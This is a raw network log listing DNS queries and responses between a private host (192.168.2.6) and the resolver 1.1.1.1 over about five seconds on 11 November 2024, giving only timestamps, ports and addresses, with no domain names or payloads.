                                                                                                                                                                                                          Nov 11, 2024 18:13:36.119318008 CET53534571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.121424913 CET53624911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.123994112 CET5005153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.155756950 CET53500511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.159653902 CET5073953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.169064045 CET5211353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.169717073 CET53507391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.169759989 CET5835253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170139074 CET5730053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170646906 CET5083853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.171174049 CET6283953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.171478987 CET5116453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.179914951 CET53521131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.180984020 CET53573001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.182895899 CET53583521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.201344967 CET53508381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.202920914 CET53628391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.203222036 CET53511641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.221884966 CET6295853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.254195929 CET53629581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.259588003 CET6426253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.261053085 CET5396053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.264192104 CET6072153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.264869928 CET5063253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.265335083 CET5201353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.272152901 CET6264953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.272319078 CET53539601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.274689913 CET53520131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.274991989 CET53506321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.291142941 CET53642621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.294702053 CET53607211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.305183887 CET53626491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.474531889 CET6169453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.493403912 CET6479353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.543286085 CET5401453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.553842068 CET6549853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.581387997 CET5174853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.587686062 CET5852553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.590895891 CET6401253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.592047930 CET53517481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.592890978 CET53647931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.597371101 CET53585251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.601305008 CET53640121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.602828026 CET5787353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.606230974 CET6150153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.617609978 CET53615011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.631724119 CET5451453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.634236097 CET5642253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.637444973 CET4993353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.641716957 CET5804153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.646701097 CET53499331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.647540092 CET6151753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.654058933 CET53580411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.656850100 CET53615171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.663134098 CET53545141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.665376902 CET53616941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.667938948 CET53564221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.689914942 CET5977953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.704417944 CET6103053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.706629992 CET5409353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.710891008 CET6149053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.714027882 CET53610301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.721419096 CET53614901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.727772951 CET53597791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.731254101 CET4962853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.737186909 CET53540931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.759833097 CET5710453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.760807037 CET5274553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.763194084 CET53496281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.772769928 CET53654981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.791706085 CET53571041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.792052984 CET53540141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.793842077 CET53527451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.814865112 CET5097953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.824191093 CET53578731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.826045990 CET53509791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.832103968 CET5067653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.844719887 CET53506761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.901961088 CET5463553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.924376011 CET5953653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.934045076 CET53546351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.937700033 CET53595361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.948390007 CET6471753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.952666044 CET5143953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.970150948 CET53514391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.979583025 CET53647171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.993355989 CET4919153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.024982929 CET53491911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.079809904 CET5516153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.090826035 CET53551611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.139149904 CET6311953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.145134926 CET5818653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.174808979 CET53631191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.179389954 CET53581861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.182558060 CET6229953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.203246117 CET6390753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.216618061 CET53622991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.218911886 CET5906353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.226330996 CET53639071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.231194019 CET53590631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.247178078 CET6169353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.282207966 CET4957253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.293128014 CET53495721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.438110113 CET53616931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.812305927 CET5589853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.816901922 CET6475753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.827450991 CET5166853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.828238010 CET53647571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.834781885 CET5467353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.837096930 CET53516681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.843009949 CET53558981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.851094007 CET5371153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.851807117 CET6281553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.854623079 CET5962953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.864375114 CET53596291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.867352009 CET53546731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.882210970 CET53628151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.882762909 CET53537111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.898005962 CET5389553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.904134035 CET4915253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.904647112 CET5395353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.910975933 CET5213153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.914205074 CET53539531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.916891098 CET53538951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.932883978 CET5507253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.933557034 CET5648453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.934087992 CET5864053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.934683084 CET6128553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.935233116 CET5572253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.935487986 CET53491521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.941792965 CET53550721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.942199945 CET53521311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.942892075 CET53564841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.944128036 CET53612851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.945108891 CET53557221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.965632915 CET53586401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.029721022 CET5076553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.032075882 CET5162953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.033957958 CET5736553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.039402962 CET53507651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.044430017 CET53573651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.050388098 CET53516291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.469959021 CET5845553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.470510006 CET6304353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.470721960 CET4938053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.471013069 CET5696253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.471175909 CET6480053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480603933 CET53584551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481663942 CET53493801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481683016 CET53648001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481868029 CET53569621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.501646042 CET53630431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.503146887 CET6132153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.503499031 CET5366453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505188942 CET5602053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505359888 CET6255253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505523920 CET5299153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505660057 CET6502153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505814075 CET5842053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505965948 CET5907553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506105900 CET6393353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506268024 CET5407553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506429911 CET5159153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506593943 CET5359353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506738901 CET5081553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506938934 CET5015253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507266045 CET6288653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507451057 CET6387953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507605076 CET6496053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507740021 CET4961253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507896900 CET5045053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508048058 CET5235953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508220911 CET5465753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508379936 CET5786953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508526087 CET5045153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508702040 CET5915853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508847952 CET5572153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508996964 CET5552553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.512447119 CET6504153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.513068914 CET6512153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.514965057 CET53529911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.515095949 CET53650211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.515690088 CET53560201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.515783072 CET53625521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.516697884 CET53584201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.516779900 CET53649601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.517174006 CET53590751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.517451048 CET53628861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.517755985 CET53496121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.517976999 CET53523591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.519011974 CET53504511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.519285917 CET53555251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.519296885 CET53638791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.519373894 CET53540751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.519864082 CET53504501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.520071030 CET53651211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.520138979 CET53557211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.523436069 CET53639331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.523555040 CET53515911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.523883104 CET6296053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.524097919 CET6097553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.527415037 CET5045153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.528016090 CET6031153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.528536081 CET5222753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.530567884 CET5329253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531161070 CET5863953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531856060 CET5078253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531936884 CET5376753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.533642054 CET53609751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.535123110 CET53613211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.535919905 CET53536641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.537290096 CET53501521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.537934065 CET53535931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.538218021 CET53504511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.538958073 CET53508151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.538989067 CET53603111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.539906025 CET53546571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.539937019 CET53591581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.540935993 CET53578691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.541347027 CET53586391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.541356087 CET53532921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.542314053 CET53537671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.542620897 CET53650411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.554011106 CET5729853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.554274082 CET5579753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.556709051 CET53629601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.559793949 CET53522271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562025070 CET53572981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563221931 CET53507821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.565130949 CET53557971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.688395023 CET5910253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.699029922 CET53591021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.868772030 CET5502053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.871701956 CET6450753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.873779058 CET6545553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.874294996 CET6397653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.875107050 CET5510653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.875722885 CET4980453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.876954079 CET5367053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877285004 CET5496353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877465963 CET6013253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877780914 CET5217353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.879304886 CET53550201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.882289886 CET53645071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.882989883 CET53551061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.884649992 CET53639761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885114908 CET53654551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885462999 CET5281753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885714054 CET6401453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.887087107 CET53498041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.887775898 CET53521731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.893357038 CET5455753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.895664930 CET53640141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.896040916 CET53528171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.903691053 CET53545571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.908438921 CET53536701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.909316063 CET53601321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.910037041 CET53549631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.953562021 CET5467853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.953941107 CET5875753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.954715967 CET5453953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.956357002 CET5064953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.964214087 CET53546781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.965205908 CET6239453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.965380907 CET5283153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.965878963 CET53587571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.967185020 CET53506491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.976047039 CET53623941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.981863976 CET6530153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.982069969 CET4915453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.985989094 CET53545391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.993200064 CET5917053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.993321896 CET4930153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.996323109 CET53528311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.003628016 CET53493011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.004200935 CET5805253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.004396915 CET5596853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.014291048 CET53653011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.014874935 CET53559681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.014905930 CET53491541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.015192986 CET53580521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.024404049 CET53591701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.047667980 CET5940553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.057221889 CET5687853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.061289072 CET6080153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.061706066 CET6362253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.062974930 CET5093553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.066667080 CET53568781.1.1.1192.168.2.6
